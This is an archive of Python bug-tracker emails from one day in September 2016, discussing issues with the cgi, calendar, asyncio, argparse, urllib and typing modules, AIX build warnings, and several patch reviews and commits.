From report at bugs.python.org  Tue Sep 27 14:27:03 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 18:27:03 +0000
Subject: [issue27777] cgi.FieldStorage can't parse simple body with
 Content-Length and no Content-Disposition
In-Reply-To: <1471355745.98.0.805545529346.issue27777@psf.upfronthosting.co.za>
Message-ID: <1475000823.06.0.108965095761.issue27777@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks for triaging this, Bert. Would you like to propose a patch with a test case?

Note that we can't fix this in 3.3 and 3.4 because they are in security-fix-only mode. See https://docs.python.org/devguide/index.html#status-of-python-branches for details.

----------
stage:  -> needs patch
type:  -> behavior
versions:  -Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27777>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:31:02 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 18:31:02 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <1475001062.55.0.725425513094.issue28289@psf.upfronthosting.co.za>


Brett Cannon added the comment:

I think it's a bug, but a low priority one.

----------
priority: normal -> low

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:35:30 2016
From: report at bugs.python.org (Michael Felt)
Date: Tue, 27 Sep 2016 18:35:30 +0000
Subject: [issue28290] BETA report: Python-3.6 build messages to stderr: AIX
 and "not GCC"
Message-ID: <1475001330.34.0.107474417097.issue28290@psf.upfronthosting.co.za>


New submission from Michael Felt:

GCC and IBM xlC compilers pay attention to different things - so some of the messages are "accepted" if not harmless.

e.g. this type:
"./Modules/xxsubtype.c", line 293.19: 1506-196 (W) Initialization between types "void*" and "int(*)(struct _object*)" is not allowed.

Others are (well)-known different compiler behaviors - such as the default sign of a 'bit-field'
"/data/prj/python/python-3.6.0.177/Modules/_ctypes/_ctypes_test.c", line 389.5: 1506-159 (E) Bit field type specified for M is not valid. Type unsigned assumed.

However, some of the messages may lead to a problem down the road. Might be the platform, might be the "converted" include files:

"./pyconfig.h", line 1448.9: 1506-236 (W) Macro name _POSIX_C_SOURCE has been redefined.
"./pyconfig.h", line 1448.9: 1506-358 (I) "_POSIX_C_SOURCE" is defined on line 147 of /usr/include/standards.h.
"./pyconfig.h", line 1460.9: 1506-236 (W) Macro name _XOPEN_SOURCE has been redefined.
"./pyconfig.h", line 1460.9: 1506-358 (I) "_XOPEN_SOURCE" is defined on line 143 of /usr/include/standards.h.

And others might be more of an issue - e.g., no idea what "_blake2" is - does not look 'happy' or safe:
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 89.14: 1506-508 (W) Option push for pragma pack is not supported.
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 89.1: 1506-224 (W) Incorrect pragma ignored.
"/data/prj/python/python-3.6.0.177/Modules/_blake2/impl/blake2.h", line 119.14: 1506-726 (W) Attempting to pop an empty pack stack. Current pack may change.

That pretty well summarizes what is in the file - stdout was directed to a file

----------
components: Build
files: build-python-3.6.0.b1.script
messages: 277538
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: BETA report: Python-3.6 build messages to stderr: AIX and "not GCC"
Added file: http://bugs.python.org/file44846/build-python-3.6.0.b1.script

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28290>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:35:35 2016
From: report at bugs.python.org (Michael Felt)
Date: Tue, 27 Sep 2016 18:35:35 +0000
Subject: [issue28290] BETA report: Python-3.6 build messages to stderr: AIX
 and "not GCC"
In-Reply-To: <1475001330.34.0.107474417097.issue28290@psf.upfronthosting.co.za>
Message-ID: <1475001335.89.0.294635310322.issue28290@psf.upfronthosting.co.za>


Changes by Michael Felt <aixtools at gmail.com>:


----------
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28290>
_______________________________________

From report at bugs.python.org  Tue Sep 27 14:44:53 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 18:44:53 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1475001893.38.0.600996700159.issue28253@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch LGTM.

You can see how itermonthdates() is used in third-party code:

https://github.com/sunlightlabs/django-locksmith/blob/master/locksmith/hub/dataviews.py
https://github.com/quandyfactory/Quandy/blob/master/quandy.py
https://github.com/takanory/plone.app.event/blob/master/plone/app/event/portlets/portlet_calendar.py
https://github.com/gerow/gnome-shell-google-calendar/blob/master/gnome-shell-google-calendar.py
https://bitbucket.org/benallard/msgboard/src/1c08fa3ba040f8151d0e28130b01b30e0595e448/msgboard/controller.py?at=default

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:05:27 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 19:05:27 +0000
Subject: [issue20947] -Wstrict-overflow findings
In-Reply-To: <1394991597.86.0.942219538296.issue20947@psf.upfronthosting.co.za>
Message-ID: <20160927190523.81284.59709.E51D4A90@psf.io>


Roundup Robot added the comment:

New changeset dad879edefd2 by Serhiy Storchaka in branch '3.5':
Issue #20947: Fixed a gcc warning with -Wstrict-overflow.
https://hg.python.org/cpython/rev/dad879edefd2

New changeset 5ecbe8a55ccd by Serhiy Storchaka in branch '3.6':
Issue #20947: Fixed a gcc warning with -Wstrict-overflow.
https://hg.python.org/cpython/rev/5ecbe8a55ccd

New changeset 675d3f76444d by Serhiy Storchaka in branch 'default':
Issue #20947: Fixed a gcc warning with -Wstrict-overflow.
https://hg.python.org/cpython/rev/675d3f76444d

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20947>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:05:44 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 19:05:44 +0000
Subject: [issue20947] -Wstrict-overflow findings
In-Reply-To: <1394991597.86.0.942219538296.issue20947@psf.upfronthosting.co.za>
Message-ID: <1475003144.95.0.49813350226.issue20947@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue20947>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:06:30 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 19:06:30 +0000
Subject: [issue28253] calendar.prcal(9999) output has a problem
In-Reply-To: <68047ef2.6fd9.15755a09cdb.Coremail.xibeilijp@163.com>
Message-ID: <1475003190.75.0.188931261313.issue28253@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee: serhiy.storchaka -> belopolsky

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28253>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:10:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 19:10:04 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475003404.23.0.597484056736.issue28281@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I think data range is limited by year 1 due to ambiguity of year -1. Is it 1 B.D. or 2 years before year 1 (2 B.D.)?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:14:21 2016
From: report at bugs.python.org (Christian Heimes)
Date: Tue, 27 Sep 2016 19:14:21 +0000
Subject: [issue28290] BETA report: Python-3.6 build messages to stderr: AIX
 and "not GCC"
In-Reply-To: <1475001330.34.0.107474417097.issue28290@psf.upfronthosting.co.za>
Message-ID: <1475003661.01.0.435588449877.issue28290@psf.upfronthosting.co.za>


Christian Heimes added the comment:

blake2 is a hash algorithm. It uses #pragma pack(push, 1) and #pragma pack(pop) to change packing rules for structs.

----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28290>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:17:34 2016
From: report at bugs.python.org (Michael Felt)
Date: Tue, 27 Sep 2016 19:17:34 +0000
Subject: [issue28276] test_loading.py - false positive result for "def
 test_find" when find_library() is not functional or the (shared) library does
 not exist
In-Reply-To: <1474887883.6.0.275550575314.issue28276@psf.upfronthosting.co.za>
Message-ID: <1475003854.42.0.995299330094.issue28276@psf.upfronthosting.co.za>


Michael Felt added the comment:

Actually, what may be needed are more "@skip" blocks - as ctypes has always been platform dependent.

OR - have a counter or boolean that starts as zero or false and increase each time find_library() returns a value - and the test fails if the counter is still zero, or boolean is still false.

Further, perhaps a separate test_load() that is platform specific - with the correct - read expected - result from find_library(). I say expected because python has always been testing for libc.so.6 while I see in cloud-init that that are calls hard-coded to CDLL("libc.so.7") - but maybe that is something specific for Canonical aka ubuntu.

However, it seems that expecting libc.so.6 to ALWAYS be present is not safe.

FYI:

michael at x071:[/data/prj/python/cloud-init]grep CDLL cloud-init-0*/cloudinit/*.py
cloud-init-0.7.5/cloudinit/util.py:            libc = ctypes.CDLL('/lib/libc.so.7')
cloud-init-0.7.8/cloudinit/util.py:            libc = ctypes.CDLL('/lib/libc.so.7')

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28276>
_______________________________________

From report at bugs.python.org  Tue Sep 27 15:34:59 2016
From: report at bugs.python.org (Alexander Belopolsky)
Date: Tue, 27 Sep 2016 19:34:59 +0000
Subject: [issue28281] Remove year limits from calendar
In-Reply-To: <1474922646.39.0.781731359123.issue28281@psf.upfronthosting.co.za>
Message-ID: <1475004899.98.0.662992612784.issue28281@psf.upfronthosting.co.za>


Alexander Belopolsky added the comment:

Under my proposal year=-1 is 2 B.C. and year 0 is a leap year

$ ./python.exe -mcalendar 0 2
     February 0
Mo Tu We Th Fr Sa Su
    1  2  3  4  5  6
 7  8  9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29

This is the simplest extension and people who require other variants can make their own adjustments.  (This suggests that we should probably bring weekday(), isleap(), etc. methods to the Calendar class to allow users to override them.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28281>
_______________________________________

From report at bugs.python.org  Tue Sep 27 16:25:30 2016
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 27 Sep 2016 20:25:30 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <CAMpsgwa-JZXktjcu=1+x80hR0mEAY19HGfpbQUQoAG+r6NuSLg@mail.gmail.com>
Message-ID: <CAMpsgwaiP+MsiFP7uecOgTk_=YZr5TDCmnDnEbA4TYZMmyyKLQ@mail.gmail.com>


STINNER Victor added the comment:

I dislike the idea of a test for a race condition which skips itself if it
fails to reproduce the race condition :-/ I like the idea of removing he
unit test.

But I don't have a strong opinion on this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 16:35:34 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 20:35:34 +0000
Subject: [issue28117] warning: dereferencing type-punned pointer will break
 strict-aliasing rules
In-Reply-To: <1473750714.22.0.188258678348.issue28117@psf.upfronthosting.co.za>
Message-ID: <1475008534.19.0.978397858567.issue28117@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Proposed patch eliminates warnings.

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44847/keccak_warnings.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28117>
_______________________________________

From report at bugs.python.org  Tue Sep 27 16:47:12 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 27 Sep 2016 20:47:12 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <1475009232.12.0.270070579134.issue28289@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is a simple patch.

But I'm not sure that this is a bug.

----------
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file44848/importerror-reset-attributes.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:00:44 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 21:00:44 +0000
Subject: [issue27838] test_os.test_chown() random failure on "AMD64 FreeBSD
 CURRENT Debug 3.x" buildbot
In-Reply-To: <1471959658.26.0.0626423066304.issue27838@psf.upfronthosting.co.za>
Message-ID: <1475010044.22.0.210118623648.issue27838@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Perhaps running a script like below on the host would help to identify the problem?

import getpass
import grp
import pprint

pprint.pprint(getpass.getuser())
pprint.pprint([(g.gr_gid, g.gr_name) for g in grp.getgrall()])
pprint.pprint([(g.gr_gid, g.gr_name, g.gr_mem) for g in grp.getgrall() if getpass.getuser() in g.gr_mem])

----------
nosy: +berker.peksag
stage:  -> needs patch
type:  -> behavior
versions: +Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27838>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:23:08 2016
From: report at bugs.python.org (secynic)
Date: Tue, 27 Sep 2016 21:23:08 +0000
Subject: [issue28291] urllib/urllib2 AbstractDigestAuthHandler locked to
 retried count of 5
Message-ID: <1475011388.29.0.32013326397.issue28291@psf.upfronthosting.co.za>


New submission from secynic:

urllib/urllib2 AbstractDigestAuthHandler is hardcoded to 5 retries (self.retried). Normally this wouldn't be an issue.

Certain products link basic HTTP auth to Active Directory (yes, this shouldn't be a thing). When you have a failed login attempt lockout set on AD, this will lockout accounts on the very first failed Python basic auth attempt, if the AD lockout is set to 5 or less.

In my specific use case, I was able to override request.HTTPBasicAuthHandler.__init__() and request.HTTPBasicAuthHandler.reset_retry_count() by setting self.retried=5. One way to fix this would be to add a new retry_count argument to AbstractDigestAuthHandler.

I am a bit busy at the moment, but will submit a patch as soon as I get time.

----------
components: Library (Lib)
messages: 277549
nosy: secynic
priority: normal
severity: normal
status: open
title: urllib/urllib2 AbstractDigestAuthHandler locked to retried count of 5
type: enhancement
versions: Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28291>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:23:11 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 21:23:11 +0000
Subject: [issue28176] Fix callbacks race in asyncio.SelectorLoop.sock_connect
In-Reply-To: <1473976530.0.0.19666207968.issue28176@psf.upfronthosting.co.za>
Message-ID: <1475011391.71.0.83864254657.issue28176@psf.upfronthosting.co.za>


Berker Peksag added the comment:

test_sock_connect_sock_write_race failure is being discussed in issue 28283. Closing this again.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28176>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:24:36 2016
From: report at bugs.python.org (Yury Selivanov)
Date: Tue, 27 Sep 2016 21:24:36 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <1475011476.02.0.994566562333.issue28283@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

> I dislike the idea of a test for a race condition which skips itself if it
fails to reproduce the race condition :-/ I like the idea of removing he
unit test.

OK, let's remove the test. I can do that myself in a couple of days.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:38:52 2016
From: report at bugs.python.org (Roundup Robot)
Date: Tue, 27 Sep 2016 21:38:52 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <20160927213849.2443.23782.60F28C60@psf.io>


Roundup Robot added the comment:

New changeset cf93671100bf by Berker Peksag in branch '3.5':
Issue #28283: Remove flaky test test_sock_connect_sock_write_race
https://hg.python.org/cpython/rev/cf93671100bf

New changeset b9f18dcbfc4b by Berker Peksag in branch '3.6':
Issue #28283: Merge from 3.5
https://hg.python.org/cpython/rev/b9f18dcbfc4b

New changeset 27fc857ea8af by Berker Peksag in branch 'default':
Issue #28283: Merge from 3.6
https://hg.python.org/cpython/rev/27fc857ea8af

----------
nosy: +python-dev

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:41:25 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 21:41:25 +0000
Subject: [issue28283] test_sock_connect_sock_write_race() of
 test.test_asyncio.test_selector_events fails randomly on FreeBSD
In-Reply-To: <1474958064.43.0.517604300062.issue28283@psf.upfronthosting.co.za>
Message-ID: <1475012485.93.0.212228934666.issue28283@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Just saw http://buildbot.python.org/all/builders/AMD64%20FreeBSD%209.x%203.5/builds/1136/steps/test/logs/stdio and went ahead to remove the test.

----------
resolution:  -> fixed
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28283>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:58:02 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 21:58:02 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <1475013482.59.0.782450124647.issue28289@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Patch LGTM.

----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 17:58:34 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 21:58:34 +0000
Subject: [issue28289] ImportError.__init__ doesn't reset not specified
 exception attributes
In-Reply-To: <1474999372.21.0.472143563436.issue28289@psf.upfronthosting.co.za>
Message-ID: <1475013514.16.0.570037322187.issue28289@psf.upfronthosting.co.za>


Brett Cannon added the comment:

And I say don't worry about backporting.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28289>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:17:27 2016
From: report at bugs.python.org (R. David Murray)
Date: Tue, 27 Sep 2016 22:17:27 +0000
Subject: [issue28291] urllib/urllib2 AbstractDigestAuthHandler locked to
 retried count of 5
In-Reply-To: <1475011388.29.0.32013326397.issue28291@psf.upfronthosting.co.za>
Message-ID: <1475014647.71.0.100374180141.issue28291@psf.upfronthosting.co.za>


R. David Murray added the comment:

For (convoluted) background, see issue 8797.

A solution that uses a new would be a new feature and could only go in 3.7, but perhaps the solutions in the above issue will point to a backward compatible solution.

----------
nosy: +r.david.murray

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28291>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:24:19 2016
From: report at bugs.python.org (Joe Jevnik)
Date: Tue, 27 Sep 2016 22:24:19 +0000
Subject: [issue28254] Add C API for gc.enable, gc.disable, and gc.isenabled
In-Reply-To: <1474611707.66.0.467568151114.issue28254@psf.upfronthosting.co.za>
Message-ID: <1475015059.47.0.779446859241.issue28254@psf.upfronthosting.co.za>


Joe Jevnik added the comment:

I definitely could have used PyImport_Import and PyObject_Call to accomplish this task; however, when I looked at at the implementation of these functions it seemed like a lot of overhead and book keeping just to set a boolean. Since I was already in a C extension it would be nicer to not need to worry about PyObjects and ref counts just to set this value so I thought it would be nice to expose these small functions to users. Since this is equivalent to gc.enable or gc.disable I don't think there is a deep can of worms here. The only difference in the implementation is that it doesn't return None. There is already PyGC_Collect, so I figured these were just omitted because no one thought to add them. I don't have a burning desire to get this in, I just thought it would be a nice to have.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28254>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:25:00 2016
From: report at bugs.python.org (secynic)
Date: Tue, 27 Sep 2016 22:25:00 +0000
Subject: [issue28291] urllib/urllib2 AbstractDigestAuthHandler locked to
 retried count of 5
In-Reply-To: <1475011388.29.0.32013326397.issue28291@psf.upfronthosting.co.za>
Message-ID: <1475015100.91.0.646508120759.issue28291@psf.upfronthosting.co.za>


secynic added the comment:

It is a very limited use case; I won't gripe about 3.7+ only support. At the end of the day, even shown in the comments of that class, it shouldn't be set to a static 5 count.

At least this is a very easy patch that won't affect existing code.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28291>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:25:19 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 27 Sep 2016 22:25:19 +0000
Subject: [issue26075] typing.Union unifies types too broadly
In-Reply-To: <1452430654.78.0.244173734721.issue26075@psf.upfronthosting.co.za>
Message-ID: <1475015119.29.0.271330386388.issue26075@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Fixed by 09cc43df4509.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26075>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:26:00 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 27 Sep 2016 22:26:00 +0000
Subject: [issue25830] _TypeAlias: Discrepancy between docstring and behavior
In-Reply-To: <1449662252.92.0.779493267097.issue25830@psf.upfronthosting.co.za>
Message-ID: <1475015160.39.0.929109533988.issue25830@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Fixed by 09cc43df4509.

----------
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25830>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:26:39 2016
From: report at bugs.python.org (Guido van Rossum)
Date: Tue, 27 Sep 2016 22:26:39 +0000
Subject: [issue26477] typing forward references and module attributes
In-Reply-To: <1457028467.36.0.208660584048.issue26477@psf.upfronthosting.co.za>
Message-ID: <1475015199.87.0.917200238104.issue26477@psf.upfronthosting.co.za>


Guido van Rossum added the comment:

Fixed by 09cc43df4509.

----------
nosy: +gvanrossum
resolution:  -> fixed
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26477>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:39:40 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 22:39:40 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475015980.81.0.539124367805.issue28288@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
components: +Interpreter Core -2to3 (2.x to 3.x conversion tool)

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:39:48 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 22:39:48 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475015988.71.0.317858721973.issue28288@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
stage:  -> test needed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:40:01 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 22:40:01 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475016001.49.0.159201518287.issue28288@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 18:40:51 2016
From: report at bugs.python.org (Brett Cannon)
Date: Tue, 27 Sep 2016 22:40:51 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475016051.29.0.554381551891.issue28288@psf.upfronthosting.co.za>


Brett Cannon added the comment:

The idea seems reasonable to me. I would think this would fall under the -3 exemption if others agree this is reasonable to implement.

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 19:19:14 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 23:19:14 +0000
Subject: [issue27322] test_compile_path fails when python has been installed
In-Reply-To: <1465975219.4.0.787854022028.issue27322@psf.upfronthosting.co.za>
Message-ID: <1475018354.82.0.617431930927.issue27322@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Here's an updated patch.

----------
Added file: http://bugs.python.org/file44849/issue27322_v3.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27322>
_______________________________________

From report at bugs.python.org  Tue Sep 27 19:26:39 2016
From: report at bugs.python.org (Berker Peksag)
Date: Tue, 27 Sep 2016 23:26:39 +0000
Subject: [issue28288] Expose environment variable for Py_Py3kWarningFlag
In-Reply-To: <1474993446.86.0.709676160725.issue28288@psf.upfronthosting.co.za>
Message-ID: <1475018799.01.0.0578557174634.issue28288@psf.upfronthosting.co.za>


Berker Peksag added the comment:

+1 from me. This would help people to port their projects to Python 3.

----------
nosy: +berker.peksag

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28288>
_______________________________________

From report at bugs.python.org  Tue Sep 27 19:35:18 2016
From: report at bugs.python.org (paul j3)
Date: Tue, 27 Sep 2016 23:35:18 +0000
Subject: [issue28219] Is order of argparse --help output officially defined?
In-Reply-To: <1474401187.0.0.781761805381.issue28219@psf.upfronthosting.co.za>
Message-ID: <1475019318.59.0.0158033056531.issue28219@psf.upfronthosting.co.za>


paul j3 added the comment:

The display of the Action help lines is determined by the parser.format_help function

https://docs.python.org/3/library/argparse.html#printing-help

This function creates a Formatter, and then loads it with a 'stack' of sections.  Sections are displayed in that order:

        # usage (with self._actions)
        # description
        # groups

        for action_group in self._action_groups:
            formatter.start_section(action_group.title)
            formatter.add_text(action_group.description)
            formatter.add_arguments(action_group._group_actions)
            formatter.end_section()

parser._actions is the list of Actions (arguments) in the order in which they were created.  

Usage displays them, first the optionals, then the positionals.  Some Stackoverflow posters have asked about changing that order.  That requires customizing the usage formatter method.

Help is displayed by group, and with in that by creation order.  There are 2 default groups, positionals and optionals.  User defined groups follow.  https://docs.python.org/3/library/argparse.html#argument-groups

Probably the simplest way to write help lines in a different order is to write a custom parser.format_help method.  

Subclassing HelpFormatter is the 'accepted' way of customizing the help.  The provided subclasses work by modifying just one or two methods.  But given how a formatter works it is much easier to change the order while 'loading' the formatter rather than after it has been created.

I don't see the point to etching this behavior into the documentation. It's the default behavior, and relatively obvious from a few examples.  If we were to add some sort of customization then we'd need to elaborate.  This documentation is more of a how-to document than a formal description of the module.  This is just one of the many details that are determined by the code rather the documentation.  

But feel free to suggest a formal change to the documentation.

----------
nosy: +paul.j3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28219>
_______________________________________

From report at bugs.python.org  Tue Sep 27 19:47:35 2016
From: report at bugs.python.org (paul j3)
Date: Tue, 27 Sep 2016 23:47:35 +0000
Subject: [issue28210] argparse with subcommands difference in python 2.7 / 3.5
In-Reply-To: <1474361034.47.0.927422929015.issue28210@psf.upfronthosting.co.za>
Message-ID: <1475020055.95.0.483224933455.issue28210@psf.upfronthosting.co.za>


paul j3 added the comment:

Yes there was/is a bug that made subparsers optional.

http://bugs.python.org/issue9253

----------
nosy: +paul.j3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28210>
_______________________________________

From report at bugs.python.org  Tue Sep 27 19:57:59 2016
From: report at bugs.python.org (secynic)
Date: Tue, 27 Sep 2016 23:57:59 +0000
Subject: [issue28291] urllib/urllib2 AbstractDigestAuthHandler locked to
 retried count of 5
In-Reply-To: <1475011388.29.0.32013326397.issue28291@psf.upfronthosting.co.za>
Message-ID: <1475020679.66.0.367401581377.issue28291@psf.upfronthosting.co.za>


Changes by secynic <secynic at gmail.com>:


----------
keywords: +patch
versions:  -Python 2.7, Python 3.3, Python 3.4, Python 3.5, Python 3.6
